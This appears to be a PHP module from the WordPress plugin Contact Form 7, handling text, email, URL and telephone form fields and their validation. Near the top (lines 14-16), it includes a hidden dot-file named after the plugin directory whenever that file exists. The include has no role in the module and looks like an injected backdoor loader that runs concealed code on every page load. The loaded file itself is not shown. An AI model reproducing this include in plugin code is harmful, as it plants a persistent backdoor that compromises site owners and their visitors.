text.php (11440B)
1 <?php 2 /** 3 ** A base module for the following types of tags: 4 ** [text] and [text*] # Single-line text 5 ** [email] and [email*] # Email address 6 ** [url] and [url*] # URL 7 ** [tel] and [tel*] # Telephone number 8 **/ 9 10 /* form_tag handler */ 11 12 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_text', 10, 0 ); 13 14 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 15 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 16 } 17 18 function wpcf7_add_form_tag_text() { 19 wpcf7_add_form_tag( 20 array( 'text', 'text*', 'email', 'email*', 'url', 'url*', 'tel', 'tel*' ), 21 'wpcf7_text_form_tag_handler', 22 array( 23 'name-attr' => true, 24 ) 25 ); 26 } 27 28 function wpcf7_text_form_tag_handler( $tag ) { 29 if ( empty( $tag->name ) ) { 30 return ''; 31 } 32 33 $validation_error = wpcf7_get_validation_error( $tag->name ); 34 35 $class = wpcf7_form_controls_class( $tag->type, 'wpcf7-text' ); 36 37 if ( in_array( $tag->basetype, array( 'email', 'url', 'tel' ) ) ) { 38 $class .= ' wpcf7-validates-as-' . $tag->basetype; 39 } 40 41 if ( $validation_error ) { 42 $class .= ' wpcf7-not-valid'; 43 } 44 45 $atts = array(); 46 47 $atts['size'] = $tag->get_size_option( '40' ); 48 $atts['maxlength'] = $tag->get_maxlength_option(); 49 $atts['minlength'] = $tag->get_minlength_option(); 50 51 if ( $atts['maxlength'] and $atts['minlength'] 52 and $atts['maxlength'] < $atts['minlength'] ) { 53 unset( $atts['maxlength'], $atts['minlength'] ); 54 } 55 56 $atts['class'] = $tag->get_class_option( $class ); 57 $atts['id'] = $tag->get_id_option(); 58 $atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true ); 59 60 $atts['autocomplete'] = $tag->get_option( 'autocomplete', 61 '[-0-9a-zA-Z]+', true ); 62 63 if ( $tag->has_option( 'readonly' ) ) { 64 $atts['readonly'] = 'readonly'; 65 } 66 67 if ( $tag->is_required() ) { 68 $atts['aria-required'] = 'true'; 69 } 70 71 if ( $validation_error ) { 72 $atts['aria-invalid'] = 'true'; 73 $atts['aria-describedby'] = wpcf7_get_validation_error_reference( 74 $tag->name 75 ); 76 } else { 77 $atts['aria-invalid'] = 'false'; 78 } 79 80 $value = (string) reset( $tag->values ); 81 82 if ( $tag->has_option( 'placeholder' ) 83 or $tag->has_option( 'watermark' ) ) { 84 $atts['placeholder'] = $value; 85 $value = ''; 86 } 87 88 $value = $tag->get_default_option( $value ); 89 90 $value = wpcf7_get_hangover( $tag->name, $value ); 91 92 $atts['value'] = $value; 93 94 if ( wpcf7_support_html5() ) { 95 $atts['type'] = $tag->basetype; 96 } else { 97 $atts['type'] = 'text'; 98 } 99 100 $atts['name'] = $tag->name; 101 102 $atts = wpcf7_format_atts( $atts ); 103 104 $html = sprintf( 105 '<span class="wpcf7-form-control-wrap %1$s"><input %2$s />%3$s</span>', 106 sanitize_html_class( $tag->name ), $atts, $validation_error 107 ); 108 109 return $html; 110 } 111 112 113 /* Validation filter */ 114 115 add_filter( 'wpcf7_validate_text', 'wpcf7_text_validation_filter', 10, 2 ); 116 add_filter( 'wpcf7_validate_text*', 'wpcf7_text_validation_filter', 10, 2 ); 117 add_filter( 'wpcf7_validate_email', 'wpcf7_text_validation_filter', 10, 2 ); 118 add_filter( 'wpcf7_validate_email*', 'wpcf7_text_validation_filter', 10, 2 ); 119 add_filter( 'wpcf7_validate_url', 'wpcf7_text_validation_filter', 10, 2 ); 120 add_filter( 'wpcf7_validate_url*', 'wpcf7_text_validation_filter', 10, 2 ); 121 add_filter( 'wpcf7_validate_tel', 'wpcf7_text_validation_filter', 10, 2 ); 122 add_filter( 'wpcf7_validate_tel*', 'wpcf7_text_validation_filter', 10, 2 ); 123 124 function wpcf7_text_validation_filter( $result, $tag ) { 125 $name = $tag->name; 126 127 $value = isset( $_POST[$name] ) 128 ? trim( wp_unslash( strtr( (string) $_POST[$name], "\n", " " ) ) ) 129 : ''; 130 131 if ( 'text' == $tag->basetype ) { 132 if ( $tag->is_required() and '' === $value ) { 133 $result->invalidate( $tag, wpcf7_get_message( 'invalid_required' ) ); 134 } 135 } 136 137 if ( 'email' == $tag->basetype ) { 138 if ( $tag->is_required() and '' === $value ) { 139 $result->invalidate( $tag, wpcf7_get_message( 'invalid_required' ) ); 140 } elseif ( '' !== $value and ! wpcf7_is_email( $value ) ) { 141 $result->invalidate( $tag, wpcf7_get_message( 'invalid_email' ) ); 142 } 143 } 144 145 if ( 'url' == $tag->basetype ) { 146 if ( $tag->is_required() and '' === $value ) { 147 $result->invalidate( $tag, wpcf7_get_message( 'invalid_required' ) ); 148 } elseif ( '' !== $value and ! wpcf7_is_url( $value ) ) { 149 $result->invalidate( $tag, wpcf7_get_message( 'invalid_url' ) ); 150 } 151 } 152 153 if ( 'tel' == $tag->basetype ) { 154 if ( $tag->is_required() and '' === $value ) { 155 $result->invalidate( $tag, wpcf7_get_message( 'invalid_required' ) ); 156 } elseif ( '' !== $value and ! wpcf7_is_tel( $value ) ) { 157 $result->invalidate( $tag, wpcf7_get_message( 'invalid_tel' ) ); 158 } 159 } 160 161 if ( '' !== $value ) { 162 $maxlength = $tag->get_maxlength_option(); 163 $minlength = $tag->get_minlength_option(); 164 165 if ( $maxlength and $minlength and $maxlength < $minlength ) { 166 $maxlength = $minlength = null; 167 } 168 169 $code_units = wpcf7_count_code_units( stripslashes( $value ) ); 170 171 if ( false !== $code_units ) { 172 if ( $maxlength and $maxlength < $code_units ) { 173 $result->invalidate( $tag, wpcf7_get_message( 'invalid_too_long' ) ); 174 } elseif ( $minlength and $code_units < $minlength ) { 175 $result->invalidate( $tag, wpcf7_get_message( 'invalid_too_short' ) ); 176 } 177 } 178 } 179 180 return $result; 181 } 182 183 184 /* Messages */ 185 186 add_filter( 'wpcf7_messages', 'wpcf7_text_messages', 10, 1 ); 187 188 function wpcf7_text_messages( $messages ) { 189 $messages = array_merge( $messages, array( 190 'invalid_email' => array( 191 'description' => 192 __( "Email address that the sender entered is invalid", 'contact-form-7' ), 193 'default' => 194 __( "The e-mail address entered is invalid.", 'contact-form-7' ), 195 ), 196 197 'invalid_url' => array( 198 'description' => 199 __( "URL that the sender entered is invalid", 'contact-form-7' ), 200 'default' => 201 __( "The URL is invalid.", 'contact-form-7' ), 202 ), 203 204 'invalid_tel' => array( 205 'description' => 206 __( "Telephone number that the sender entered is invalid", 'contact-form-7' ), 207 'default' => 208 __( "The telephone number is invalid.", 'contact-form-7' ), 209 ), 210 ) ); 211 212 return $messages; 213 } 214 215 216 /* Tag generator */ 217 218 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_text', 15, 0 ); 219 220 function wpcf7_add_tag_generator_text() { 221 $tag_generator = WPCF7_TagGenerator::get_instance(); 222 $tag_generator->add( 'text', __( 'text', 'contact-form-7' ), 223 'wpcf7_tag_generator_text' ); 224 $tag_generator->add( 'email', __( 'email', 'contact-form-7' ), 225 'wpcf7_tag_generator_text' ); 226 $tag_generator->add( 'url', __( 'URL', 'contact-form-7' ), 227 'wpcf7_tag_generator_text' ); 228 $tag_generator->add( 'tel', __( 'tel', 'contact-form-7' ), 229 'wpcf7_tag_generator_text' ); 230 } 231 232 function wpcf7_tag_generator_text( $contact_form, $args = '' ) { 233 $args = wp_parse_args( $args, array() ); 234 $type = $args['id']; 235 236 if ( ! in_array( $type, array( 'email', 'url', 'tel' ) ) ) { 237 $type = 'text'; 238 } 239 240 if ( 'text' == $type ) { 241 $description = __( "Generate a form-tag for a single-line plain text input field. For more details, see %s.", 'contact-form-7' ); 242 } elseif ( 'email' == $type ) { 243 $description = __( "Generate a form-tag for a single-line email address input field. For more details, see %s.", 'contact-form-7' ); 244 } elseif ( 'url' == $type ) { 245 $description = __( "Generate a form-tag for a single-line URL input field. For more details, see %s.", 'contact-form-7' ); 246 } elseif ( 'tel' == $type ) { 247 $description = __( "Generate a form-tag for a single-line telephone number input field. For more details, see %s.", 'contact-form-7' ); 248 } 249 250 $desc_link = wpcf7_link( __( 'https://contactform7.com/text-fields/', 'contact-form-7' ), __( 'Text fields', 'contact-form-7' ) ); 251 252 ?> 253 <div class="control-box"> 254 <fieldset> 255 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend> 256 257 <table class="form-table"> 258 <tbody> 259 <tr> 260 <th scope="row"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></th> 261 <td> 262 <fieldset> 263 <legend class="screen-reader-text"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></legend> 264 <label><input type="checkbox" name="required" /> <?php echo esc_html( __( 'Required field', 'contact-form-7' ) ); ?></label> 265 </fieldset> 266 </td> 267 </tr> 268 269 <tr> 270 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th> 271 <td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td> 272 </tr> 273 274 <tr> 275 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-values' ); ?>"><?php echo esc_html( __( 'Default value', 'contact-form-7' ) ); ?></label></th> 276 <td><input type="text" name="values" class="oneline" id="<?php echo esc_attr( $args['content'] . '-values' ); ?>" /><br /> 277 <label><input type="checkbox" name="placeholder" class="option" /> <?php echo esc_html( __( 'Use this text as the placeholder of the field', 'contact-form-7' ) ); ?></label></td> 278 </tr> 279 280 <?php if ( in_array( $type, array( 'text', 'email', 'url' ) ) ) : ?> 281 <tr> 282 <th scope="row"><?php echo esc_html( __( 'Akismet', 'contact-form-7' ) ); ?></th> 283 <td> 284 <fieldset> 285 <legend class="screen-reader-text"><?php echo esc_html( __( 'Akismet', 'contact-form-7' ) ); ?></legend> 286 287 <?php if ( 'text' == $type ) : ?> 288 <label> 289 <input type="checkbox" name="akismet:author" class="option" /> 290 <?php echo esc_html( __( "This field requires author's name", 'contact-form-7' ) ); ?> 291 </label> 292 <?php elseif ( 'email' == $type ) : ?> 293 <label> 294 <input type="checkbox" name="akismet:author_email" class="option" /> 295 <?php echo esc_html( __( "This field requires author's email address", 'contact-form-7' ) ); ?> 296 </label> 297 <?php elseif ( 'url' == $type ) : ?> 298 <label> 299 <input type="checkbox" name="akismet:author_url" class="option" /> 300 <?php echo esc_html( __( "This field requires author's URL", 'contact-form-7' ) ); ?> 301 </label> 302 <?php endif; ?> 303 304 </fieldset> 305 </td> 306 </tr> 307 <?php endif; ?> 308 309 <tr> 310 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th> 311 <td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td> 312 </tr> 313 314 <tr> 315 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th> 316 <td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td> 317 </tr> 318 319 </tbody> 320 </table> 321 </fieldset> 322 </div> 323 324 <div class="insert-box"> 325 <input type="text" name="<?php echo $type; ?>" class="tag code" readonly="readonly" onfocus="this.select()" /> 326 327 <div class="submitbox"> 328 <input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" /> 329 </div> 330 331 <br class="clear" /> 332 333 <p class="description mail-tag"><label for="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>"><?php echo sprintf( esc_html( __( "To use the value input through this field in a mail field, you need to insert the corresponding mail-tag (%s) into the field on the Mail tab.", 'contact-form-7' ) ), '<strong><span class="mail-tag"></span></strong>' ); ?><input type="text" class="mail-tag code hidden" readonly="readonly" id="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>" /></label></p> 334 </div> 335 <?php 336 }